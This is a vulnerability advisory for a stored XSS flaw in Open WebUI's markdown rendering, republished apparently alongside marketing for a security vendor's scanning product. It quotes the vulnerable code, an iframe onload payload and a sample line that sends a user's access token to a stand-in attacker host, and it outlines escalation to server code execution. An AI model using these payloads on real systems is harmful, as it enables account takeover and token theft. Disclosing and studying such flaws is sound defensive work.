GHSA-9f4f-jv96-8766
Fix: open-webui/open-webui@6fd082dGHSA-9f4f-jv96-8766 is a Cross-site Scripting (XSS) vulnerability in open-webui. O3 Security confirms whether GHSA-9f4f-jv96-8766 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel.
If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code.
This vulnerability also affects chat transcripts uploaded to https://openwebui.com/c/<user>/<chat_id>, allowing for wormable stored XSS in https://openwebui.com
Details
Stored XSS
The file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code:
{:else if token.text.includes(`<iframe src="${WEBUI_BASE_URL}/api/v1/files/`)}
{@html `${token.text}`}
That code checks if a chat message has an html tag which contains the text <iframe src="${WEBUI_BASE_URL}/api/v1/files/, and if so, it renders that html tag using {@html}, which is a dangerous Svelte functionality that allows text to be rendered as HTML code.
Attackers can abuse this by sending a chat message with the following payload:
<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.
This will cause a JavaScript alert window to be displayed every time that chat transcript is opened.
In a real attack scenario, instead of injecting alert(1) in the onload attribute, attackers can use the following code to steal the user's access token and send it to a server they control:
fetch("https://attacker.com/?token=" + localStorage.getItem("token"))
This is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript.
Then, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking "Share"
If "Enable Community Sharing" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed
This makes the exploit a wormable Stored XSS. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well.
<hr>RCE
If an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server.
The following HTTP request can be sent to the backend server to execute arbitrary python code.
PoC
Attackers can abuse this by sending a chat message with the following payload:
<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.
Impact
Attackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.6.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update open-webui to 0.6.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9f4f-jv96-8766 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9f4f-jv96-8766 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9f4f-jv96-8766. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9f4f-jv96-8766 in your dependencies?
O3 detects GHSA-9f4f-jv96-8766 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.